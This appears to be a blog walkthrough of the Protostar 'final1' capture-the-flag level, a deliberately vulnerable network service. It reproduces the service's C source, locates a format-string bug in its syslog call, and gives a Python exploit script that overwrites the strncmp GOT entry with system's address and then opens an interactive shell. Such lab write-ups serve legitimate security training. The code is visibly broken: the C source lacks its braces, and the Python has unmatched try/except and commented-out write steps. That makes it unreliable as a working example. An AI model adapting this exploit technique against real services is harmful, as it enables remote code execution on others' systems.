Binary Exploitation Protostar Final1 - Walkthrough

Hello Guys,

Today In This post, I am going to share with you my walk through experience of Exploit Exercise Proto Star Final1 Level.

Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb
  • Do Some Research About Heap overflow exploitation.
  •  All Credit Related To Exploit Exercise War Games Goes To

let's Start

Source Codes

#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf);

void trim(char *str)
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;

void parser()
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      if(strncmp(line, "username ", 9) == 0) {
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6);
              printf("login failed\n");
      printf("[final1] $ ");

void getipport()
  int l;
  struct sockaddr_in sin;

  l = sizeof(struct sockaddr_in);
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));

int main(int argc, char **argv, char **envp)
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */




This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.

When you are exploiting this and you don’t necessarily know your IP address and port number (proxy, NAT / DNAT, etc), you can determine that the string is properly aligned by seeing if it crashes or not when writing to an address you know is good.

Core files will be in /tmp.

This level is at /opt/protostar/bin/final1

Vulnerable Function

  syslog(LOG_USER|LOG_DEBUG, buf);


Honestly, friends after understanding all functions and source code. I was little bit confused because In first look, My mind doesn't recognize any format vulnerable function but as hint line points, format string vulnerability. So, I decided to check all functions Opcodes and also tried various type of input and boom! Error Occur In syslog function.

After That, hmm, check below.


import struct
import socket

# Configurations
# hex(68+108+79+46829)
#  Overwrite With 0xb7ecffb0 [system]

got    = 0x0804a1a8 # Where We want to right [strncmp]

payload = 'AAA\xa8\xa1\x04\x08%x%21$x'

payload = 'AAA'
payload += struct.pack("i", got)
payload += struct.pack("i", got+1)
payload += struct.pack("i", got+2)

# 000000b0 
payload += "%108x"
payload += "%21$n"
# 0000ffb0
payload += "%79x"
#payload += "%22$n"
# b7ecffb0
payload += "%46829x"
#payload += "%23$n"

print [payload], len(payload)

### Testing #########
# Found format string vulnerability
# After Inserting Username 
# login AAABBBB%21$x  [BBBB is our targeted Address ]
#     AAA\xa8\xa1\x04\x08
# # Strncmp GOT Entry Address : 0804a1a8
# Username variable Starting Point 0x804a240

# Victim Configuration
PORT = 2994
HOST = ""

# Create Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect Socket 
s.connect((HOST, PORT))

print s.recv(1024)
s.send("username suraj\n")
print s.recv(1024)
s.send("login "+str(payload)+"\n")
 while True:
  print s.recv(1024),
  s.send(raw_input(':~# ')+'\n')

except Exception as E:
 print "Error ", E
print "Closing socket"

For More Detailed Walk through Check Below Provided YouTube Video Playlist

Share this

Related Posts

Next Post »